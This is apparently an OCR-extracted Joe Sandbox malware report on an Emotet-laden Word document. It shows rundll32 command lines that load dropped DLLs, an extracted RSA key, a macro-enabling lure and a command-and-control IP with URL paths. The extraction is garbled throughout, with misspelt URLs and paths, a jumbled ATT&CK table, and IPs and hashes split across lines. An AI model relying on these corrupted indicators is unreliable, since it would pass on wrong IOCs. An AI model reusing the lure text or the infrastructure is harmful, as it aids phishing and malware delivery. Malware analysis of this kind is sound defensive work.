. D rundll32.exe (PID: 620 cmdline: C:\Windows\SysWOW&64\rundll32.exe 'C:\Windows\SysWOW64\Mnrm\xmfd.ucf',RunDLL MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1532 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Wnoc\mhxywle.szw
", RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1916 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Xgby\jcrucsb.dgl
" RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1472 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Etxd\pkvco.wzp',
RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 856 cmdline: C:\Windows\SysWOW#64\rundl32.exe 'C:\Windows\SysWOW64\Eiig\m
mslr.ajj',RunDLL MD5: 51138BEEA3E2C21EC44D0932C71762A8)

= cleanup

Malware Configuration

Threatname: Emotet

"RSA Public Key":

"MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fL I8UrI00ZURpPsR3ei jAyfPj3z6\nuS75f21gmYFW2alWgNcFIzsAYQleKzDOn1CFHO07Zf8/4wY2UWOCI4dIEHNE/PH1z | n6uNk3pxjm704eCDyiJbz f+k0Azj10q54FQIDAQAB"

}

Yara Overview

Memory Dumps

Source

0000000F.00000002.2153905031.0000000000190000.0000
0040.00000001.sdmp

00000010.00000002.2155916188.00000000001B1000.0000
0020.00000001.sdmp

0000000D.00000002.2150770541.00000000001B0000.0000
0040.00000001.sdmp

0000000B.00000002.2147679834.0000000000311000.0000
0020.00000001.sdmp

00000013.00000002.2162568948.0000000000211000.0000
0020.00000001.sdmp

Unpacked PEs

Source

18.2.rundll32.exe.1f0000.0.unpack
14.2.rundll32.exe.1c0000.1.unpack
13.2.rundll32.exe.1b0000.0.raw.unpack
9.2.rundll32.exe.1c0000.1.unpack

15.2.rundll32.exe.190000.0.raw.unpack

Copyright null 2021

Rule Description Author Strings

JoeSecurity_Emotet  Yara detected Joe Security
Emotet

JoeSecurity_Emotet  Yara detected Joe Security
Emotet

JoeSecurity_Emotet  Yara detected Joe Security
Emotet

JoeSecurity_Emotet  Yara detected Joe Security
Emotet

JoeSecurity_Emotet  Yara detected Joe Security
Emotet

Click to see the 25 entries

Rule Description Author Strings

JoeSecurity_Emotet  Yara detected Joe Security
Emotet

JoeSecurity_Emotet  Yara detected Joe Security
Emotet

JoeSecurity_Emotet  Yara detected Joe Security
Emotet

JoeSecurity_Emotet  Yara detected Joe Security
Emotet

JoeSecurity_Emotet  Yara detected Joe Security

Emotet

Click to see the 37 entries
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Sigma Overview

System Summary: | |

Signature Overview

@ AV Detection

@ Cryptography

@ Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

@ System Summary

©® Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information

g

Click to jump to signature section

AV Detection: -

Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file

Compliance:

Uses new MSVCR DlIs

Binary contains paths to debug symbols

Networking:

rt IDS alert for network traffic (e.g. based on Emerging Threat rules)

E-Banking Fraud: | |

Yara detected Emotet

System Summary:

=

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

]

Data Obfuscation:
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Persistence and Installation Behavior:

]

]‘

Hooking and other Techniques for Hiding and Protection:

]‘

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

= “

Stealing of Sensitive Information:

Yara detected Emotet

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Com
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and
Valid Windows Application  Application Disable or Modify os System Time Remote Archive Exfiltration Over Other  Ingre
Accounts Management Shimming §§ Shimming Tools Credential ~ Discovery Services Collected  Network Medium Tran
Instrumentation Dumping Data
Default Scripting Windows Windows Deobfuscate/Decode LSASS File and Directory Remote Data from  Exfiltration Over Encr
Accounts Service Service Files or Memory Discovery Desktop Removable Bluetooth Char
Information Protocol Media
Domain Native API Logon Script Process Scripting Security System Information SMB/Windows Data from  Automated Exfiltration Non-
Accounts (Windows)  Injection Account Discovery ﬂ Admin Shares Network Appl
Manager Shared Laye
Drive Protc
Local Exploitation for Client Logon Script Logon Script Obfuscated Filesor ~ NTDS Security Software Distributed Input Scheduled Transfer Appl
Accounts Execution (Mac) (Mac) Information Discovery Component  Capture Laye
Object Model Protc
Cloud Command and Network Network Logon  Software Packing LSA Virtualization/Sandbox SSH Keylogging Data Transfer Size Fallb
Accounts Scripting Logon Script  Script Secrets Evasion Limits Char
Interpreter
Replication  Service Execution Rc.common Rc.common Masquerading Cached Process Discovery VNC GUI Input  Exfiltration Over C2 Multi
Through Domain Capture Channel Com
Removable Credentials
Media
External PowerShell Startup Startup Items Virtualization/Sandbox DCSync Remote System Windows Web Portal Exfiltration Over Com
Remote Items Evasion Discovery Remote Capture Alternative Protocol Usec
Services Management
Drive-by Command and Scheduled  Scheduled Process Proc Network Service Shared Credential Exfiltration Over Appl
Compromise Scripting Interpreter ~ Task/Job Task/Job Injection Filesystem Scanning Webroot API Symmetric Encrypted Laye
Hooking Non-C2 Protocol
Exploit PowerShell At (Linux) At (Linux) Hidden Files and letc/passwd System Network Software Data Exfiltration Over Web
Public- Directories and Connections Deployment  Staged Asymmetric Encrypted
Facing letc/shadow Discovery Tools Non-C2 Protocol
Application
Supply AppleScript At At (Windows) RundlI32 Network Process Discovery Taint Shared  Local Data Exfiltration Over File
Chain (Windows) Sniffing Content Staging Unencrypted/Obfuscated Protc
Compromise Non-C2 Protocol
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Behavior Graph

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Copyright null 2021

Hide Legend
Legend:
Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

@+ EBO0C]

*
*n

Number of created Registry Values

Number of created Files

5 B

Visual Basic

zz
3

ms
I8
o

)

Delphi

i
i
=

Java
.Net C# or VB.NET
C, C++ or other language

Is malicious

L@ 2 )

Internet

e

Page 11 of 74



W d9- vl DAT [Compatibility Mode] - Microsoft Werd

Home Insert Page Layout References Mailings Review View

& cut . S @4 Find ~

- A A A : i= z
Ba Copy 4 aaBbceDe AaBbcede AaBb( AaBb(:. AaBb( AaBbccl 2, Replace

Paste 2 N 1 Nor 1 Ne e g e f e Change
S Format Painter B J U - ahe x, X Normal T No a1 eading Title Subtitle Sb;lesg' s Select -

Clipboard ! Font Paragraph Editing

THIS DOCUMENT IS PROTECTED.

Previewing is not available for protected documents.

‘You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.

Page:1 of1 | Words: 9 ‘ = ‘

1:48 PM
1/26/2021

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Link

=
o
=3
=3

Dropped Files

Source Detection Scanner Label Link

Unpacked PE Files

Detection Scanner Label Link Download

<)
<
H
)
o
T
®
Q
@
=
N}
o
S,
-~
N

Copyright null 2021


https://www.virustotal.com/gui/file/55f177ec4613b1b03a37199e3c7d49336dd424a66737f79005208aa9883b192b/detection/f-55f177ec4613b1b03a37199e3c7d49336dd424a66737f79005208aa9883b192b-1611100847
https://www.metadefender.com/#!/results/file/bzIxMDExOHJ4T3pJOVU4TlJNVkUzT3JpZnQ/regular/analysis

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
o Nesieenescamisoi Pl G AeURLCed maae
hitp://www.icra.org/vocabulary/. 0% URL Reputation safe

hitp://www.icra.org/vocabulary/. 0% URL Reputation safe

hitp://www.icra.org/vocabulary/. 0% URL Reputation safe

R P T S |
[ - e 0 ) IO

hitp:/izenithcampus.com 0% Avira URL Cloud safe
hittp:/fiwww.%s.comPA 0% URL Reputation safe
hittp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
http:ff 0% Avira URL Cloud safe
https://167.71.148.58:443/um49al9zetvy 1g5wmnt/twmd2I9pj/Ok liudym/ag1mO0i31pvi6lis/m8khm/21qx1r3l

mxejnl/

hitp://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe

R P T S |
[ = T ) IR

R e e e P LG | e |
[ - e 0 ) IO

hitp://https://zenithcampus.com/wp-json/ 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

hitp/;
e I O T S =

Copyright null 2021 Page 13 of 74



URLs from Memory and Binaries

Name

hitp://services.msn.com/svcs/oe/certpage.asp?
name=%s&email=%s&&Check

hitp:/fiwww.windows.com/pctv.

hitp://investor.msn.com

hitp:/fiwww.msnbc.com/news/ticker.txt

hitp://iwww.icra.org/vocabulary/.

http://
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous

http://
www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv

hitp://investor.msn.com/

hitp://https://api.w.org/

Copyright null 2021

Source Malicious Antivirus Detection

rundll32.exe, 00000006.0000000 false
2.2146720602.0000000001DC7000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2140682913.000
0000001F97000.00000002.0000000

1.sdmp, rundlI32.exe, 00000008
.00000002.2143404795.000000000
20A7000.00000002.00000001.sdmp

rundll32.exe, 00000008.0000000 false
2.2142959855.0000000001EC0000.
00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2144951796.0000000001BE000O.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2140287437.000
0000001DB0000.00000002.0000000

1.sdmp, rundlI32.exe, 00000008
.00000002.2142959855.000000000
1EC0000.00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2144951796.0000000001BE000O.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2140287437.000
0000001DB0000.00000002.0000000

1.sdmp, rundlI32.exe, 00000008
.00000002.2142959855.000000000
1EC0000.00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2146720602.0000000001DC7000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2140682913.000
0000001F97000.00000002.0000000

1.sdmp, rundlI32.exe, 00000008
.00000002.2143404795.000000000
20A7000.00000002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2139305270.000000000247000
0.00000002.00000001.sdmp, rund
1132.exe, 00000007.00000002.21
43212470.0000000002770000.0000
0002.00000001.sdmp, rundlI32.exe,
00000008.00000002.21448884
95.0000000002780000.00000002.0
0000001.sdmp, rundll32.exe, 00
000012.00000002.2164826084.000
0000002860000.00000002.0000000
1.sdmp

powershell.exe, 00000005.00000 false
002.2137911907.00000000002C700
0.00000004.00000020.sdmp

rundll32.exe, 00000006.0000000 false
2.2144951796.0000000001BE000O.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2140287437.000
0000001DB0000.00000002.0000000

1.sdmp, rundll32.exe, 00000008
.00000002.2142959855.000000000
1EC0000.00000002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2141813649.00000000031C000
0.00000004.00000001.sdmp

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

Reputation
high

high

high

high

unknown

high

high
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Name

hitp:/f\www.piriform.com/ccleaner

hitpiwww.%s.comPA

hitp://iwindowsmedia.com/redir/services.asp?
WMPFriendly=true

hitp:/fiwww.hotmail.com/oe

Source Malicious

powershell.exe, 00000005.00000 false
002.2137911907.00000000002C700
0.00000004.00000020.sdmp

powershell.exe, 00000005.00000 false
002.2139305270.000000000247000
0.00000002.00000001.sdmp, rund
1132.exe, 00000007.00000002.21
43212470.0000000002770000.0000
0002.00000001.sdmp, rundlI32.exe,
00000008.00000002.21448884
95.0000000002780000.00000002.0
0000001.sdmp, rundll32.exe, 00
000012.00000002.2164826084.000
0000002860000.00000002.0000000
1.sdmp

rundll32.exe, 00000006.0000000 false
2.2146720602.0000000001DC7000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2140682913.000
0000001F97000.00000002.0000000

1.sdmp, rundlI32.exe, 00000008
.00000002.2143404795.000000000
20A7000.00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2144951796.0000000001BE0000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2140287437.000
0000001DB0000.00000002.0000000

1.sdmp, rundlI32.exe, 00000008
.00000002.2142959855.000000000
1EC0000.00000002.00000001.sdmp

Antivirus Detection

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

e URL Reputation: safe
e URL Reputation: safe
e URL Reputation: safe

Reputation
high

low

unknown

high

hitp://iwww.piriform.com/cclea

hitp://https://zenithcampus.com/wp-json/

Contacted IPs

Copyright null 2021

powershell.exe, 00000005.00000 false
002.2137911907.00000000002C700
0.00000004.00000020.sdmp

powershell.exe, 00000005.00000 false
002.2141813649.00000000031C000
0.00000004.00000001.sdmp

e Avira URL Cloud: safe

high

unknown
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] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public

ASN Name Malicious

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Copyright null 2021

31.0.0 Emerald

344355

26.01.2021

13:47:24

CloudBasic

Oh 13m 20s

false

light

DAT.doc
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

22

o ©o o o

HCA enabled
EGA enabled
HDC enabled
GSl enabled (VBA)
AMSI enabled
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Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

13:47:49
13:47:50
13:48:05

Joe Sandbox View | Context

IPs

Match

Copyright null 2021

Type

API Interceptor
API Interceptor
API Interceptor

Associated Sample Name / URL

default

Timeout

MAL

mal100.troj.evad.winDOC@36/9@2/5

.

.

.

e o o o o o

Successful, ratio: 50%

Successful, ratio: 64.5% (good quality ratio 59%)
Quality average: 70%
Quality standard deviation: 29.4%

Successful, ratio: 91%
Number of executed functions: 0
Number of non-executed functions: 0

Adjust boot time

Enable AMSI

Found application associated with file extension:
.doc

Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog

Click Ok

Attach to Office via COM

Scroll down

Close Viewer

Show All

.

Description
1x Sleep call for process: msg.exe modified
128x Sleep call for process: powershell.exe modified

507x Sleep call for process: rundll32.exe modified

SHA 256 Detection

Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe

TCP Packets have been reduced to 100
Execution Graph export aborted for target
powershell.exe, PID 2536 because it is empty
Execution Graph export aborted for target
rundlI32.exe, PID 1484 because there are no
executed function

Execution Graph export aborted for target
rundlI32.exe, PID 1916 because there are no
executed function

Execution Graph export aborted for target
rundll32.exe, PID 2488 because there are no
executed function

Execution Graph export aborted for target
rundlI32.exe, PID 2860 because there are no
executed function

Execution Graph export aborted for target
rundlI32.exe, PID 2968 because there are no
executed function

Report size exceeded maximum capacity and may
have missing behavior information.

Report size getting too big, too many
NtOpenKeyEx calls found.

Report size getting too big, too many
NtQueryAttributesFile calls found.

Report size getting too big, too many
NtQueryValueKey calls found.

Report size getting too big, too many
NtSetInformationFile calls found.

Link Context
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Match
167.71.148.58

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

167.71.14
8.58:443/7
wiv2vtoqvz
gkp6unhg/m
5b2zuulmbb
c64v82d/

167.71.14
8.58:443/t
a2men4jqfn
erm/

167.71.14
8.58:443/6
nxx50ih3i7
8uw7gh7/m4
898/40p628
cd88c/ji50
i68zs1/i9hmqo/

167.71.14
8.58:443/h
mj5vtnwvmo
edb5al/v2rz
ul9kezl4oc
iy/lwcymau
esma35l/scr
goykcge7oz
r/lwmckdg2s4/

167.71.14
8.58:443/q
k90ciyt532
x31/3frjvk
gc2dudu/bwrw/

167.71.14
8.58:443/d
dfeddgtlve
8/qea5xg5l
ugywunnrb/
3fep6lwfy/
5iyhveusfl
Iwalzhzdp/

167.71.14
8.58:443/n
872917hs/

167.71.14
8.58:443/dz0y/

167.71.14
8.58:443/9
kb8jd09jfj
jzuép/710k
rlahriw7x1
ai4dw/vrx5
5jwbpft/29
cpmilxmdw/4
4Acai7l

167.71.14
8.58:443/9
d9gfmnts3/
Vjvjz2rwjw
d3/kruxv/r
53q9e331/v
mffirhd6r8
mOno7f0/

167.71.14
8.58:443/r
8a9ihd5x7y
9gubs/0w29
tdx9/w9aqw
Ofel8ghiol/

167.71.14
8.58:443ly
ndmmizko00
/thimglu2/
litifgg7al
5t/7c2tfqo
8372451/

167.71.14
8.58:443/q
ov6j8tarxo
/gqmy5tpwx1
S5euwz50u/e
tk5u/erdm7
hOjkgtuOlg
ulo/Onpx0h
y2ilyjsjsl2i/
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https://view.joesandbox.com/analysis/253599/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253599/html/none?idtype=webid
https://view.joesandbox.com/analysis/253189/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253189/html/none?idtype=webid
https://view.joesandbox.com/analysis/253187/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/253187/html/none?idtype=webid
https://view.joesandbox.com/analysis/251692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251692/html/none?idtype=webid
https://view.joesandbox.com/analysis/251690/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251690/html/none?idtype=webid
https://view.joesandbox.com/analysis/251665/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251665/html/none?idtype=webid
https://view.joesandbox.com/analysis/251664/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251664/html/none?idtype=webid
https://view.joesandbox.com/analysis/251654/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251654/html/none?idtype=webid
https://view.joesandbox.com/analysis/251652/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251652/html/none?idtype=webid
https://view.joesandbox.com/analysis/251649/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251649/html/none?idtype=webid
https://view.joesandbox.com/analysis/251629/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251629/html/none?idtype=webid
https://view.joesandbox.com/analysis/251617/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251617/html/none?idtype=webid
https://view.joesandbox.com/analysis/251613/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251613/html/none?idtype=webid

Match

Domains

Match

localaffordableroofer.com

zenithcampus.com

ASN

Match
GOOGLEUS

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

167.71.14
8.58:443/r
mc2rtnztd/
fgad5dyk3a
wr/2sr766n
207/

167.71.14
8.58:443/1
Ouvse7/vOk
inwl131/ed3
7ws4ddndvl
iwbh9/a3yy
my4k79ii39ps/

167.71.14
8.58:443/4
95u60b7ajr
abla3v/612
h13gy/wjao
sw38b/dfth
hdpoilzw3/
em8pnsrzer
k714/6919n
ubsvgxw2911/

167.71.14
8.58:443/i
6p9p6/

167.71.14
8.58:443/d
d8xgec1513
nstpclm7/1
tb9c9bgpxm
19mrid55/

167.71.14
8.58:443/1
mpy4irtxyk
gw5ilyn5yixx/

167.71.14

8.58:443/1
1cOwhdo/

Context

107.180.12.39
107.180.12.39
107.180.12.39
35.200.206.198
35.200.206.198
35.200.206.198
35.200.206.198

Context

172.217.6.174
35.228.108.144

108.177.11
9.109

34.102.136.180
34.102.136.180
34.102.136.180
34.102.136.180
34.102.136.180
34.102.136.180
34.102.136.180
34.102.136.180
34.102.136.180
34.102.136.180
172.217.6.174
34.98.99.30
172.217.6.174
216.58.207.142
172.217.6.174

Page 19 of 74


https://view.joesandbox.com/analysis/251605/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251605/html/none?idtype=webid
https://view.joesandbox.com/analysis/251597/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251597/html/none?idtype=webid
https://view.joesandbox.com/analysis/251590/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251590/html/none?idtype=webid
https://view.joesandbox.com/analysis/251579/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251579/html/none?idtype=webid
https://view.joesandbox.com/analysis/251575/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251575/html/none?idtype=webid
https://view.joesandbox.com/analysis/251573/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251573/html/none?idtype=webid
https://view.joesandbox.com/analysis/251551/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251551/html/none?idtype=webid
https://view.joesandbox.com/analysis/257134/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257134/html/none?idtype=webid
https://view.joesandbox.com/analysis/250465/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250465/html/none?idtype=webid
https://view.joesandbox.com/analysis/250248/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250248/html/none?idtype=webid
https://view.joesandbox.com/analysis/257134/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257134/html/none?idtype=webid
https://view.joesandbox.com/analysis/250465/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250465/html/none?idtype=webid
https://view.joesandbox.com/analysis/250452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250452/html/none?idtype=webid
https://view.joesandbox.com/analysis/250320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250320/html/none?idtype=webid
https://view.joesandbox.com/analysis/258228/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258228/html/none?idtype=webid
https://view.joesandbox.com/analysis/258204/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258204/html/none?idtype=webid
https://view.joesandbox.com/analysis/258198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258198/html/none?idtype=webid
https://view.joesandbox.com/analysis/258181/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258181/html/none?idtype=webid
https://view.joesandbox.com/analysis/258177/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258177/html/none?idtype=webid
https://view.joesandbox.com/analysis/258163/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258163/html/none?idtype=webid
https://view.joesandbox.com/analysis/258161/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258161/html/none?idtype=webid
https://view.joesandbox.com/analysis/258159/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258159/html/none?idtype=webid
https://view.joesandbox.com/analysis/258150/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258150/html/none?idtype=webid
https://view.joesandbox.com/analysis/258113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258113/html/none?idtype=webid
https://view.joesandbox.com/analysis/258110/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258110/html/none?idtype=webid
https://view.joesandbox.com/analysis/258107/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258107/html/none?idtype=webid
https://view.joesandbox.com/analysis/258102/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258102/html/none?idtype=webid
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258088/html/none?idtype=webid
https://view.joesandbox.com/analysis/258082/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258082/html/none?idtype=webid
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258052/html/none?idtype=webid
https://view.joesandbox.com/analysis/258037/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258037/html/none?idtype=webid
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257994/html/none?idtype=webid

Match

DIGITALOCEAN-ASNUS

TTNET-MYTIMEdotComBerhadMY

JA3 Fingerprints

No context

Dropped Files

No context

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash

Get hash

>
I
@
o
o,
2
®
o
[
o
3
=2
o
2
o
3
o
(=
A
[

Created / dropped Files

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse

Browse

Browse

Context

172.217.20.238
172.217.22.225
138.68.42.38
157.245.145.87
178.62.115.183
107.170.138.56
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
159.89.91.92
202.187.222.40
202.187.222.40
202.187.222.40
202.187.222.40
202.187.222.40
202.187.222.40
202.187.222.40
202.187.222.40
202.187.222.40
202.187.222.40
202.187.222.40
202.187.222.40
202.187.222.40
202.187.222.40
202.187.222.40

202.187.19
9.171

61.6.84.83
61.6.13.149

202.184.16
7.189

61.6.30.223

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{1BCD45F3-025D-4403-9DBE-B492A11253DC}.tmp
C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

Copyright null 2021

data
dropped
1024

0.05390218305374581

false
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https://view.joesandbox.com/analysis/257943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257943/html/none?idtype=webid
https://view.joesandbox.com/analysis/257937/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257937/html/none?idtype=webid
https://view.joesandbox.com/analysis/258280/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258280/html/none?idtype=webid
https://view.joesandbox.com/analysis/258228/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258228/html/none?idtype=webid
https://view.joesandbox.com/analysis/258150/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258150/html/none?idtype=webid
https://view.joesandbox.com/analysis/258107/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258107/html/none?idtype=webid
https://view.joesandbox.com/analysis/258068/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258068/html/none?idtype=webid
https://view.joesandbox.com/analysis/258063/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258063/html/none?idtype=webid
https://view.joesandbox.com/analysis/258062/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258062/html/none?idtype=webid
https://view.joesandbox.com/analysis/258061/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258061/html/none?idtype=webid
https://view.joesandbox.com/analysis/258059/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258059/html/none?idtype=webid
https://view.joesandbox.com/analysis/258051/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258051/html/none?idtype=webid
https://view.joesandbox.com/analysis/258046/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258046/html/none?idtype=webid
https://view.joesandbox.com/analysis/258045/html/none?idtype=webid#static
